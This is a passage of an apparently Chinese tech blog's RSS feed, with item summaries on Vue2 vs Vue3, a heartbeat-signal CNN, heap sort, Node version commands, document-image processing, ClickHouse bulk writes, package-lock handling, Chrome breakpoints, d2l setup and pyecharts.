&#34;pendant&#34;:&#34;unknown&#34;, &#34;tissueBox&#34;:&#34;unknown&#34;, &#34;label&#34;:&#34;unknown&#34;, &#34;decoration&#34;:&#34;unknown&#34;, &#34;plateCharBelieve&#34;:&#34;0&#34;, &#34;speedLimit&#34;:&#34;0&#34;, &#34;illegalInfo&#34;:{ &#34;illegalCode&#34;:&#34;0&#34; }, &#34;vehicleType&#34;:&#34;unknown&#34;, &#34;featurePicFileName&#34;:&#34;1&#34;, &#34;detectDir&#34;:&#34;8&#34;, &#34;detectType&#34;:&#34;1&#34;, &#34;barrierGateCtrlType&#34;:&#34;0&#34;, &#34;alarmDataType&#34;:&#34;0&#34;, &#34;dwIllegalTime&#34;:&#34;0&#34;, &#34;vehicleInfo&#34;:{ &#34;color&#34;:&#34;white&#34; }, &#34;gPSInfo&#34;:{ &#34;longitude&#34;:{ &#34;degree&#34;:&#34;117&#34;, &#34;minute&#34;:&#34;6&#34;, &#34;sec&#34;:&#34;49.910000&#34; }, &#34;latitude&#34;:{ &#34;degree&#34;:&#34;117&#34;, &#34;minute&#34;:&#34;6&#34;, &#34;sec&#34;:&#34;49.910000&#34; } } }, &#34;UUID&#34;:&#34;602cf998-1dd2-11b2-a842-be6ebc977415&#34;, &#34;</description>
    </item>
    <item>
      <title>Vue2和Vue3的主要区别</title>
      <link>https://bchobby.github.io/posts/8308a81d4048cb06e1787cdf57269787/</link>
      <pubDate>Fri, 09 Jun 2023 13:16:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8308a81d4048cb06e1787cdf57269787/</guid>
      <description>一、Vue响应式的底层实现不同 Vue2底层是通过es5的Object.defineProperty，使用Object.defineProperty()进行数据劫持，结合订阅发布的方式实现，有一定的局限性。&#xA;缺点：对数组更新的时候无法实现响应式，它内部有一个this.$set去实现&#xA;如果响应式定义的数据层级比较深（对象里面有对象，对象里面还有对象）它内部是 通过递归的形式去实现的&#xA;Vue3底层是通过es6的Porxy， 使用Proxy代理，使用ref或者reactive将数据转化为响应式数据，能够更好地支持动态添加属性和删除属性。&#xA;它解决了Vue2底层实现的缺点，对数组、层级比较深的对象处理都很优秀&#xA;缺点：浏览器兼容不是很好&#xA;二、生命周期有一定的区别 对于生命周期来说，Vue3整体上变化不大，只是大部分生命周期钩子名称上 + “on”，功能上是类似的。不过有一点需要注意，Vue3 在组合式API（Composition API）中使用生命周期钩子时需要先引入，而 Vue2 在选项API（Options API）中可以直接调用生命周期钩子。&#xA;Vue2------------------------------Vue3&#xA;初始化阶段：&#xA;beforeCreate ------------------ setup() created -------------------------- setup()&#xA;beforeMount -------------------- onBeforeMount&#xA;mounted -------------------------- onMounted 更新阶段：&#xA;beforeUpdate ------------------ onBeforeUpdate updated ------------------------- onUpdated activated ---------------------- onActivated deactivated ------------------- onDeactivated&#xA;销毁阶段：&#xA;beforeDestroy ---------------- onBeforeUnmount destroyed ---------------------- onUnmounted 三、支持碎片化，可以有多个根节点 Vue2 只支持一个根节点 ，在模板中如果使用多个根节点时会报错，&#xA;Vue3 支持多个根节点，也就是 fragment。即以下多根节点的写法是被允许的。&#xA;如下所示。&#xA;Vue3可以成功运行&#xA;Vue2报错 四，模板指令 在vue2或者vue3 中v-if和v-for可以同时存在，但是&#xA;在vue2中，v-for 优先级高于 v-if;&#xA;在vue3 中，v-if 优先级高于v-for;</description>
    </item>
    <item>
      <title>一种时间序列数据的一维卷积神经网络分类方法</title>
      <link>https://bchobby.github.io/posts/998710336259dbbf789ba5201e26d81c/</link>
      <pubDate>Fri, 09 Jun 2023 11:56:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/998710336259dbbf789ba5201e26d81c/</guid>
      <description>本文是根据阿里云天池【心跳信号分类预测】冠军攻略整理撰写，为时间序列数据的分类上提出更多解决方法。&#xA;数据集下载 登录阿里云天池，搜索心跳信号分类预测即可&#xA;赛题数据讲解 数据集均为205维的心跳时序数据，虽然是想同维度数据，很多人尝试梯度提升树，虽然说在某些方面梯度提升数类模型表现的比神经网络要好，但是这并不是绝对的，使用LGB、XGB模型需要自行构建很多特征，不能把这205维数据直接丢进去的。而神经网络则会自动寻优特征，本文就是在结构化数据分类神经网络的效果比树模型更好的一个例子。&#xA;主要的特征数据为 1 维信号振幅 (已被归一化至 0～1 了)，总长度均为 205 (205 个时间节点/心跳节拍)除波形数据外，没有任何辅助或先验信息可以利用波形数据均已被量化为 float16 类型的数值型特征，且没有类别型特征需要考虑没有缺失值，无需填充，非常理想 —— 事实上，未采集到的信号默认振幅就是 0，故不存在缺失值的问题这类非表格数据更适合用神经网络来处理，而非传统机器学习模型 该类别分为3类，0最多，1/2/3相对较少，可以基本判断出0为正常人心跳，1/2/3为不同心脏病病人的心跳&#xA;1.导入依赖库&#xA;import os import math import time import random import datetime import numpy as np import pandas as pd import seaborn as sns import matplotlib.pyplot as plt import tensorflow as tf import tensorflow.keras as K from tensorflow.keras import Sequential, utils, regularizers, Model, Input from tensorflow.keras.layers import Flatten, Dense, Conv1D, MaxPool1D, Dropout, AvgPool1D from imblearn.</description>
    </item>
    <item>
      <title>选择排序——堆排序</title>
      <link>https://bchobby.github.io/posts/98ced57e9994e8ef7262bd09a81714b9/</link>
      <pubDate>Fri, 09 Jun 2023 11:06:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98ced57e9994e8ef7262bd09a81714b9/</guid>
      <description>一、堆排序的相关概念 1、堆的定义&#xA;从堆的定义可以看出，堆实质是满足如下性质的完全二叉树：二叉树中任一非叶子结点均小于(大于)它的孩子结点。&#xA;2、堆排序的定义&#xA;若在输出堆顶的最小值(最大值)后，使得剩余n- 1个元素的序列重又建成一个堆，则得到n个元素的次小值(次大值) ... .如此反复，便能得到一个有序序列，这个过程称之为堆排序。&#xA;二、堆的调整 1、如何在输出堆顶元素后，调整剩余元素为一个新的堆?&#xA;以小根堆为例：&#xA;①输出堆顶元素之后，以堆中最后一个元素替代之 ;&#xA;②然后将根结点值与左、右子树的根结点值进行比较，并与其中小者进行交换;&#xA;③重复上述操作②，直至叶子结点，将得到新的堆，称这个从堆顶至叶子的调整过程为&#34;筛选&#34;。&#xA;三、堆的建立 1、单结点的二叉树是堆;&#xA;2、在完全二叉树中所有以叶子结点(序号i &amp;gt; n/2)为根的子树是堆。这样，我们只需依次将以序号为n/2，n/2 - 1，......, 1的结点为根的子树均调整为堆即可。&#xA;即:对应由n个元素组成的无序序列，“筛选” 只需从第n/2个元素开始。&#xA;3、如下图所示是一个典例&#xA;4、堆的建立过程其实就是堆排序过程。&#xA;四、堆的算法描述 void HeapSort( elem R[] ) { //对R[1 ]到R[n]进行堆排序 int i; for (i= n/2; i &amp;gt;=1; i--） HeapAdjust( R,i,n); //建初始堆 for (i= n; i&amp;gt;1; i--){ //进行n-1趟排序 Swap(R[1], R[i]); //根与最后一 个元素交换 HeapAdjust(R,1,i-1); //对R[1]到R[i -1]重新建堆 } } //HeapSort void HeapAdjust (elem R[ ], int S, int m) { /*已知R[s.</description>
    </item>
    <item>
      <title>Mac 安装/更换node版本命令(值得收藏)</title>
      <link>https://bchobby.github.io/posts/6716869e982770ce87569c39b0c3fe93/</link>
      <pubDate>Fri, 09 Jun 2023 10:58:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6716869e982770ce87569c39b0c3fe93/</guid>
      <description>Mac 安装/更换node版本命令 收集node指令，方便查找，在mac终端里面输入如下指令&#xA;全局安装n模块：sudo npm install n -g&#xA;更新npm到最新版本：sudo npm install npm@latest -g&#xA;安装当前稳定版本：sudo n stable&#xA;安装最新版本：sudo n latest&#xA;卸载指定node版本：sudo n rm 版本号&#xA;查看node所有版本：npm view node versions&#xA;7.切换node版本（不会删除已安装的其他版本）：sudo n 版本号&#xA;node版本降级/升级（安装指定版本）： sudo n 版本号(例: sudo n 16.20.0)&#xA;查看版本号：node -v&#xA;清除node.js的cache: sudo npm cache clean -f&#xA;查看版本号：node -v</description>
    </item>
    <item>
      <title>大模型时代下智能文档处理核心技术大揭秘</title>
      <link>https://bchobby.github.io/posts/64cf74644eec6df6e0f5a9574d7e08cc/</link>
      <pubDate>Fri, 09 Jun 2023 00:19:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64cf74644eec6df6e0f5a9574d7e08cc/</guid>
      <description>​强烈推荐一个大神的人工智能的教程：http://www.captainai.net/zhanghan&#xA;大模型时代下智能文档处理核心技术大揭秘 前言一张图全览文档图像分析与预处理图像预处理的整体架构核心技术点应用场景 版面分析与还原整体架构核心技术点应用场景 AI安全文档图像篡改检测 大模型时代思考总结 前言 最近，中国图像图形大会在苏州圆满结束，本次论坛邀请了5位学术界和产业界的专家做特邀报告，共同交流文档图像分析与处理的前沿学术进展、在典型行业的规模化应用情况，并探讨未来技术及产业发展趋势。&#xA;随着人工智能技术的发展，智能图像处理成为了一种风靡全球的热门技术。智能图像处理可以帮助我们从大量的图像数据中提取最有价值的信息，为医疗、军事、安防等领域带来了重大的贡献。然而，图像处理的难点也随之而来，下面我们来简单介绍一下图像处理的难点以及解决方式的比对。&#xA;首先，图像处理的难点在于如何从大量的图像数据中获取有价值的信息。图像数据通常包含大量的冗余信息，如何选择有意义的数据进行处理，是图像处理的难点之一。其次，图像处理还需要解决如何去除噪声和失真的问题，这是因为在图像传输和处理过程中，往往会引入一些噪声和失真，导致图像质量下降。最后，图像处理还需要解决如何处理大规模的图像数据的问题，因为现在的图像数据量越来越大，传统的图像处理方式已经无法满足需求。&#xA;针对这些难点，现在有一些解决方式正在被广泛采用。&#xA;首先，深度学习技术被广泛应用于图像处理领域，可以通过训练模型来选择有价值的数据进行处理。&#xA;其次，图像处理技术也在不断发展，例如先进的降噪和去失真技术，可以有效地处理图像数据。&#xA;最后，分布式计算技术也被广泛应用于图像处理领域，可以处理大规模的图像数据，提高处理效率。&#xA;总之，智能图像处理是一项复杂的技术，需要解决如何从大量的图像数据中提取有价值的信息、去除噪声和失真、处理大规模的图像数据等难点。然而，通过现代化的技术手段，如深度学习、降噪和去失真技术、分布式计算等，这些难题正在被逐步克服，智能图像处理技术得到了广泛的应用和发展。&#xA;一张图全览 来自合合信息的丁凯博士在论坛中提到，智能文档处理场景多样化，遇到的挑战也很多，我们用一张图先来概览一下。&#xA;文档图像分析与预处理 图像预处理的整体架构 一张弯曲的图像文档想要处理成一张看着平整清晰的图像，可以处理方式为：图像输入–&amp;gt;文档提取–&amp;gt;手指去除–&amp;gt;形变校正–&amp;gt;图像增强，整体架构如图：&#xA;我们一起看一下经过上述步骤处理的效果展示，可以看到图像变得又清晰又平整：&#xA;核心技术点 切边增强：切边增强是指通过一系列的算法和技术将文档图像中的边缘清晰化，以便更好地识别文本和图像。常见的方法包括基于边缘检测的算法、基于卷积神经网络的算法等。&#xA;去除摩尔纹：摩尔纹是指在数字化图像中可能出现的一种干扰纹理，该干扰纹理会在图像处理过程中对文本和图像的识别造成影响。去除摩尔纹的方法包括基于滤波器的去噪算法、基于小波变换的算法等。&#xA;弯曲矫正：弯曲矫正是指对扫描文档图像中出现的弯曲和扭曲进行校正，以便更好地识别文本和图像。常见的方法包括基于图像处理技术的算法，如图像旋转、仿射变换等。&#xA;图片压缩：图片压缩是指将大尺寸的高清图片压缩成小尺寸的低分辨率图片，以便在存储和传输时节省空间和时间。常见的方法包括基于有损压缩的算法，如JPEG、PNG等。&#xA;PS检测：PS检测是指通过一系列的算法和技术，检测文档图像中是否存在Photoshop等图像编辑软件进行过处理的痕迹。常见的方法包括基于图像处理技术的算法，如图像分析、特征提取等。&#xA;应用场景 了解了基本的技术点，我们一起看一下使用场景，在下列图像文档中我们看到的问题有：弯曲、阴影、摩尔纹等，经过文档图像质量增强处理，可以得到一个全新的图像文档，功能还是相当的强大的。畅想一下，如果我们有一些古籍出现了老旧磨损的情况，我们经过图像增强处理可以得到清晰图像文档，以此可以流传下去是多么美好的一件事情。&#xA;版面分析与还原 整体架构 在一个复杂的有版面的图像处理时会涉及文字检测识别，版面元素检测识别，图层分离，排版布局等一系列深度学习模型，识别出各个模块之后还要糅合各个模块，并搭配文档渲染，最终才能生成用户可编辑的word或者excel。整体流程如下图：&#xA;核心技术点 版面分析与还原：版面分析与还原是指通过对文档图像进行分析，识别出其中的版面元素（如页眉、页脚、页码、标题等），并还原出原有的版面结构。该技术可以提高文档阅读体验和检索效率。常见的方法包括基于图像处理的算法，如边缘检测、形态学操作、分割等。&#xA;元素检测：元素检测是指通过一系列的算法和技术，对文档图像中的元素进行检测，包括文本、表格、图片、图形等。常见的方法包括基于深度学习的算法，如卷积神经网络(CNN)、循环神经网络(RNN)等。&#xA;元素识别：元素识别是指对文档图像中检测出的元素进行识别，如对文本进行OCR识别、对表格进行结构化识别等。常见的方法包括基于机器学习的算法，如SVM、朴素贝叶斯等，以及基于深度学习的算法，如基于CNN的字符识别、基于RNN的序列识别等。&#xA;版面还原：版面还原是指将经过元素检测、元素识别等处理后的文档图像，还原成原有的版面结构。常见的方法包括基于版面分析的算法，如基于文档结构的版面还原、基于分块的版面还原等。同时，版面还原也可以结合文档排版的一些规则和要求，进行自动化的排版处理，以提高文档的整体美观度和可读性&#xA;应用场景 在一个复杂版面中包含很多复杂的元素，包含：文本、印章、页眉、表格、骑缝章、二维码、条形码等。例如在识别发票信息时，我们除了要简单的识别文字外，还需要识别其中的印章等信息。识别了文档中的各个元素后，再对文档中版面进行排版布局，通过对视觉信息与流式布局间建立一组联系，最终获得一个与输入信息一致的段落布局。&#xA;AI安全 AI安全指的是在应用人工智能技术时，考虑到安全问题，防止恶意攻击和数据泄露等风险。在智能文档处理中，AI安全主要包括数据隐私保护、篡改分类和篡改检测等方面的技术。&#xA;篡改分类：篡改分类是指对文档中的篡改行为进行分类，将篡改分为有害篡改和无害篡改两类。有害篡改指恶意篡改，如篡改文本内容、插入恶意代码等，而无害篡改指无意的篡改，如错别字更正、排版调整等。常见的方法包括基于机器学习的算法，如决策树、朴素贝叶斯等。&#xA;篡改检测：篡改检测是指对文档进行检测，判断文档是否被篡改。常见的方法包括基于图像特征的算法，如SIFT、SURF等，以及基于机器学习的算法，如支持向量机(SVM)、随机森林等。&#xA;合成检测：合成检测是指对文档进行检测，判断文档中是否存在合成图像。常见的方法包括基于图像特征的算法，如重心法、梯度法等，以及基于深度学习的算法，如基于卷积神经网络(CNN)的合成图像检测。&#xA;AI生成检测：AI生成检测是指对文档中的图像进行检测，判断图像是否是由人工智能生成的。常见的方法包括基于对抗生成网络(AGN)的检测方法，如基于对抗样本的检测方法、基于对抗损失的检测方法等。此外，也可以通过对生成图像的纹理、结构等特征进行分析，判断图像的真实性。&#xA;文档图像篡改检测 随着电子设备和图像处理软件的普及，修改图片的门槛和成本变得越来越低。据悉，图像篡改分为“全局篡改”和“局部篡改”，全局篡改包括修改图片饱和度与对比度、增强颜色；局部篡改包括复制粘贴、拼接组合、擦除，例如卡证、票据的篡改，一般涉及图像上的部分字段、印章图案等，属于局部篡改。&#xA;图像内容安全是AI安全的重点领域，如可对文本篡改痕迹进行精准检测，将为图像内容安全提供保障。针对这些篡改内容也有一套完整的系统架构:&#xA;大模型时代思考 随着chatGpt和Gpt4的到来，大模型时代已悄悄走进我们的生活，看过GPT4发布会的朋友有没有被一个场景震惊到，主持人在笔记本上简单的画出了他对一个网站的需求，GPT就可以阅读手写文本快速生成网页。作为一名程序开发者，看到这个使用场景是无比的震惊，心想，真香啊，一个网站几分钟就生成好了，又看了看自己写的代码，心想：珍惜吧，能写代码的时光。&#xA;除此之外，GPT4还可以解释漫画：&#xA;以此来看，大模型识别中OCR模型的设计仍然很重要，同时也带来了一些机遇：&#xA;大模型仍有很多不足要充分利用大模型特征表示和语言能力从而可以解决更多智能识别场景不同任务的专用模型和学习算法仍大有可为。 总结 随着人工智能技术的迅猛发展，智能文档处理成为了当前的一大热点。智能文档处理技术可以帮助用户更加高效地获取、管理和利用文档中的信息，提高了用户的工作效率和文档价值。同时，智能文档处理技术也为企业、政府等机构提供了更加智能、高效的文档处理解决方案。&#xA;智能文档处理的契机在于，随着信息化时代的到来，文档数量和复杂度不断增加，传统的文档处理方法已经无法满足用户的需求。而人工智能技术的发展，为文档处理提供了更加高效、精准的解决方案，使得文档处理可以更好地适应信息化时代的需求。智能文档处理技术可以对文档进行自动化处理、智能化分析、人工智能应用等，实现了文档的自动化处理，从而提高了文档的使用价值和效率。&#xA;大模型时代已经不仅仅局限于文档对文档的识别，还可以做到对图像进行解释。文档分析与识别快速进步，但仍有很大研究空间，同时给了我们一些新方向，如：语义信息提取，跨模态的融合，面向应用的推理决策等。</description>
    </item>
    <item>
      <title>Clickhouse-file：基于Clickhouse-local实现Clickhouse高效写入数据</title>
      <link>https://bchobby.github.io/posts/19e682e4646c4e2c23d492c1f34965ab/</link>
      <pubDate>Thu, 08 Jun 2023 23:54:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19e682e4646c4e2c23d492c1f34965ab/</guid>
      <description>前言 ClickHouse是一个用于OLAP（在线分析处理）的列式数据库管理系统，它专门为大数据量和高并发场景而设计。ClickHouse具有快速的扫描和聚合海量数据的能力，并且支持高并发查询，使其在处理数据分析任务方面比传统的行存储数据库更具优势。ClickHouse是一个开源项目，可以在较少的硬件资源上运行，并且可以轻松地水平扩展，以适应不断增长的数据量和流量。在快速增大的数据量的情况下，使用传统的数据写入模式，如：JDBC、CSV，会增大Clickhouse服务的数据解析压力。那是否有方法一方面能够提升数据写入量，另一方面减少Clickhouse的服务数据解析、写入压力呢？&#xA;1. 常用clickhouse flink connector 基于Clickhouse-jdbc 使用官方提供的Clickhouse-jdbc驱动，通过SQL的形式将数据提交到Clickhouse服务器。优势是灵活性最高，但是在大数据量写入的情况下该方法会触发频繁的后台文件合并，甚至会出现“too many parts”的错误，同时大量的SQL解析对Clickhouse服务器有影响。&#xA;官方插件（基于CSV） 将数据源流转化为CSV格式数据，并通过Http请求批量发送到Clickhouse。优势在于不需要任何驱动依赖，格式简单。缺点是稳定性差，对网络稳定性要求高&#xA;项目地址：GitHub - ivi-ru/flink-clickhouse-sink: Flink sink for Clickhouse&#xA;基于clickhouse-file插件 Clickhouse-file插件，其主要实现方式是，将数据写入到CSV文件，然后通过Clickhouse-local将CSV数据文件转换为Clickhouse-file数据文件，然后将CLickhouse-file上传到远程Clickhouse服务器，用户通过Clickhouse查询数据。其优势是处理大数据量速度快，并且由于在本地生成数据文件，对Clickhouse服务器压力相对较小。缺点是配置复杂度高，通用性较差。其相对于JDBC模式的显著优势是，处理海量数据对服务器造成的压力较小。现在已开源Clickhouse-file的产品有：ClickhouseFile | Apache SeaTunnel，项目仓库地址：seatunnel/seatunnel-connectors-v2/connector-clickhouse · GitHub&#xA;2. Clickhouse-file模式 基于Clickhouse-file 模式的，其主要实现方式是，将数据写入到CSV文件，然后通过Clickhouse-local将CSV数据文件转换为Clickhouse-file数据文件，然后将CLickhouse-file上传到远程Clickhouse服务器，用户通过Clickhouse查询数据。现在已开源的积压Clickhouse-file的项目有：ClickhouseFile | Apache SeaTunnel&#xA;2.1 基于Clickhouse file模式处理流程 Clickhouse Sink接收到源端数据源数据流&#xA;根据本地缓存的集群的数据分片策略，将数据分别写入到不同的本地缓存CSV文件&#xA;在同步执行数据快照时或缓存已满，使用Clickhouse Local将加载缓存的CSV数据文件，并生成本地Clickhouse文件&#xA;将Clickhouse本地文件，通过文件传输工具rsync传输到远程Clickhouse数据目录&#xA;数据文件Attach到Clickhouse Server，用户可以从Clickhouse中查询数据&#xA;2.2 关键技术组件 clickhouse-local clickhouse local，开发人员可以直接从命令行使用SQL命令（使用clickhouse SQL方言），提供了一种简单高效的方式来访问clickhouse功能，而无需完整安装clickhouse。用户可以使用clickhouse在不连接clickhouse服务器的情况下，生成clickhouse文件数据，并且支持大多数clickhouse engine。根据这个特性，我们可以在本地将数据通过clickhouse local工具，在本地生成clickhouse数据文件，此文件传输到远程clickhouse数据目录，用户即可查询新的数据。&#xA;​ 参考资料：clickhouse-local | ClickHouse Docs&#xA;clickhouse 临时文件传输到clickhouse服务器&#xA;支持两种文件传输方式：rsync、scp&#xA;相同点：&#xA;均是基于ssh协议的安全传输工具。都可以通过远程主机的IP地址或域名进行连接，并且需要用户名和密码进行身份验证。传输数据时都会使用加密技术来保证数据的安全性。 不同点：&#xA;scp只支持文件传输，而rsync除了可以传输文件，还可以传输目录、链接、设备文件等。rsync比scp更加灵活，能够自动检测并同步源和目标之间的差异，只传输发生变化的部分，从而提高传输效率。rsync复制时可以指定多个源目录，将它们合并到一个目的目录中，而scp只能传输单个文件或目录。rsync还支持增量备份，并且可以在网络传输中断后恢复传输，而scp则不支持这些特性。 Linux rsync Linux rsync是一种用于文件同步和备份的命令行工具。它能够快速、可靠地将本地或远程计算机之间的文件进行同步，同时可以压缩数据传输并保证数据完整性。rsync的主要优点包括增量备份、支持复制硬链接和符号链接、支持过滤器以排除或包含特定文件和目录等功能。使用rsync可以帮助用户快速而有效地管理和备份文件，特别是在需要将文件从一个位置复制到另一个位置的情况下，比如在服务器之间同步数据。&#xA;Rsync可用于镜像数据、增量备份、在系统之间复制文件，并可替代scp、sftp和cp命令。</description>
    </item>
    <item>
      <title>package.json与package-lock.json区别需不需要被.gitignore文件忽略</title>
      <link>https://bchobby.github.io/posts/8df6e5b81fc4455fbc0d6cc893463a8b/</link>
      <pubDate>Thu, 08 Jun 2023 22:33:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8df6e5b81fc4455fbc0d6cc893463a8b/</guid>
      <description>前言 先要搞清楚package.json与package-lock.json文件分别是什么作用&#xA;.gitignore文件是干什么的-主页文章有&#xA;介绍&#xA;package.json&#xA;1.项目名称版本号，描述，以及运行命令和一些配置的node环境命令&#xA;2.记录那些包会在开发环境中用到，哪些包会在开发环境和生产环境中同时用到&#xA;3.npm i 下包时会根据-D -S 把包分别记录在不同环境文件夹下&#xA;4.npm i 的话，默认是安装在dependencies中，也就是说生产和开发都会用到。&#xA;语法规范&#xA;package-lock.json&#xA;1.记录了包的具体版本，下载的地址，和一些基本信息&#xA;.gitignore文件忽略&#xA;git提供为团队开发时，剔除一下没有用的文件，方便共享管理代码。因为代码很小，主要时第三方包在占位置&#xA;总结：&#xA;1.至于package-lock.json要不要放在.gitignore忽略文件中取决于代码规范和要求，&#xA;2.package.json不可以忽略，ackage-lock,json看情况（package.json有没有确定到具体版本）和要求（公司规范）来忽略&#xA;2.package.json控制大版本，package-lock,json，控制小版本。若无package-lockjson，依赖会根据package.json文件语法规范当来安装包的版本。若有package-lockjson，大版本小版本都能控制&#xA;总结：&#xA;经过这一趟流程下来相信你也对 package.json与package-lock.json区别需不需要被.gitignore文件忽略 有了初步的深刻印象，但在实际开发中我 们遇到的情况肯定是不一样的，所以我们要理解它的原理，万变不离其宗。加油，打工人！&#xA;什么不足的地方请大家指出谢谢 -- 風过无痕</description>
    </item>
    <item>
      <title>取消谷歌浏览器自动打断点（抛异常时）</title>
      <link>https://bchobby.github.io/posts/ee9a6fa9844cfd2ae886b0befba815d9/</link>
      <pubDate>Thu, 08 Jun 2023 22:04:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee9a6fa9844cfd2ae886b0befba815d9/</guid>
      <description>产生场景&#xA;开发时每次向控制台抛异常时，谷歌浏览器都会自动帮我们打断点，需要我们自己放开才行其实是我们在打断点调试时，不小心开启了有异常帮我们自动打断点的设置。取消这个设置就可以了。 实现过程-如图&#xA;总结：&#xA;经过这一趟流程下来相信你也对 取消谷歌浏览器自动打断点（抛异常时） 有了初步的深刻印象，但在实际开发中我 们遇到的情况肯定是不一样的，所以我们要理解它的原理，万变不离其宗。加油，打工人！&#xA;什么不足的地方请大家指出谢谢 -- 風过无痕</description>
    </item>
    <item>
      <title>d2l学习——第一章Introduction</title>
      <link>https://bchobby.github.io/posts/cc4a878b075ff1d79efc7bcc76803dd3/</link>
      <pubDate>Thu, 08 Jun 2023 21:30:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc4a878b075ff1d79efc7bcc76803dd3/</guid>
      <description>x.0 环境配置 使用d2l库，安装如下：&#xA;conda create --name d2l python=3.9 -y conda activate d2l pip install torch==1.12.0 torchvision==0.13.0 pip install d2l==1.0.0b0 mkdir d2l-en &amp;amp;&amp;amp; cd d2l-en curl https://d2l.ai/d2l-en.zip -o d2l-en.zip unzip d2l-en.zip &amp;amp;&amp;amp; rm d2l-en.zip cd pytorch 如果安装不上d2l可以用下面的方法：&#xA;pip install git+https://github.com/d2l-ai/d2l-en&#xA;x.1 key components in ML 就和统计学习方法书中说的一样，机器学习也可以分为几个核心要义，Data, Models, Objective Functions, Optimization Algorithms， 其中：&#xA;Data: 用来学习的数据Model: 如何转换/translate数据的模型Objective Function: 目标函数，用来量化模型有效性Optimization Algorithm: 调整模型参数以优化目标函数的算法 整个机器学习的过程就是一轮一轮的数据迭代，通过下面的图更方便记忆：&#xA;x.2 Kinds of Machine Learning Problems 机器学习分类主要为两大类，如下所示：&#xA;Supervised Learning RegressionClassificationTaggingSearchRecommender SystemsSequence Learning Unsupervised and Self-Supervised Learning Interacting with an EnvironmentReinforcement Learning 其中自监督学习也可以当做是无监督学习的一种，例如GAN就是将输入当做输出来进行真假标签的判定。</description>
    </item>
    <item>
      <title>pyecharts的一些简单实践应用</title>
      <link>https://bchobby.github.io/posts/b56eeab65d134135570a28c3ed75d9d8/</link>
      <pubDate>Thu, 08 Jun 2023 20:36:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b56eeab65d134135570a28c3ed75d9d8/</guid>
      <description>目录&#xA;前言：&#xA;一.多重柱形图&#xA;1.首先将我们所需要的包导入一下，数据读取出来&#xA;2.将男生和女生通过gropby(by=[])方法分组聚合拿到我们制成图形的数据&#xA;3.将数据类型转换成我们需要的list对象，然后把数据赋值以方便后面使用&#xA;4.最后画图与配置项的介绍&#xA;init_opts=opts.InitOpts(width=&#39;600px&#39;,height=&#39;400px&#39;)初始化图形的大小&#xA;color可调整柱形的颜色&#xA;gap为柱子之间的间隔&#xA;.set_global_opts中的title_opts=opts.TitleOpts配置项可设置整个图形的标题与副标题&#xA;=v=最后的效果为：&#xA;二.色阶图&#xA;1.首先还是将我们所需要的包导入一下，数据读取出来&#xA;2.然后将我们需要的数据拿出来打包一下&#xA;3.最后通过销售总数进行各身份色阶的变化制作图形与配置项的介绍&#xA;⊙▽⊙图片不能给你们看，运行一个就可以看到啦（才不是图片违规了呢）&#xA;三.二维折线图&#xA;1.首先将我们的需要制成图形的数据读取进来&#xA;2.这里我所使用的数据的“日期”序列是时间对象序列，时间对象数据无法在pyecharts的坐标轴数据中使用，需要转化为字符串或者数字对象&#xA;3.所以我们做一点简单的处理转化为字符串提取我们需要的片段就可以开始画图了&#xA;配置项的介绍：&#xA;.add_xaxis(xaxis_data=rq)将我们刚刚转换的字符串设置为x轴&#xA;series_name为线和点的名称&#xA;itemstyle_opts=opts.ItemStyleOpts设置点的样式&#xA;linestyle_opts=opts.LineStyleOpts设置线条的样式&#xA;♡&amp;gt;𖥦&amp;lt;)!!最后的效果图为：&#xA;四.水球图&#xA;配置项解释：&#xA;data表示系列数据，格式[a,b,c,...]，有多个数字时，数字标签显示的是a，其他数字以波浪形式呈现。&#xA;shape可以设置水滴图形状，有&#39; circle&#39;, &#39;rect&#39;, &#39;roundRect&#39;, &#39;triangle&#39;, &#39;diamond&#39;, &#39;pin&#39;, &#39;arrow&#39; 可选&#xA;color设置波浪的颜色&#xA;background_color设置背景颜色&#xA;is_outline_show = True,是否显示边框（否为False）&#xA;label_opts = opts.LabelOpts（）可设置标签的样式&#xA;画图：&#xA;(ノ≧∇≦)ノ最后的效果为：&#xA;五.官方文档与社区&#xA;1.官方文档包含pyecharts中各个功能和图形的介绍和代码参数解析。&#xA;2.社区包含各种图形demo的项目案例代码和演示。&#xA;前言： 本文是分享一下自己学习数据可视化关于pyecharts的几个应用实例实践过程，我是数据可视化的萌新，如果出了什么问题，请各位多多担待，有什么关于这类案例需要什么补充的也可以多多留言喔（才不是不懂呢o(´^｀)o），谢谢观看！ヾ(≧∇≦谢谢≧∇≦)ノ&#xA;一.多重柱形图 1.首先将我们所需要的包导入一下，数据读取出来 import pandas as pd from pyecharts import options as opts from pyecharts.charts import Bar data_user = pd.</description>
    </item>
    <item>
      <title>到底什么是电子管（真空管）？</title>
      <link>https://bchobby.github.io/posts/177bf88761d06852c44cce2f480297f8/</link>
      <pubDate>Thu, 08 Jun 2023 20:31:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/177bf88761d06852c44cce2f480297f8/</guid>
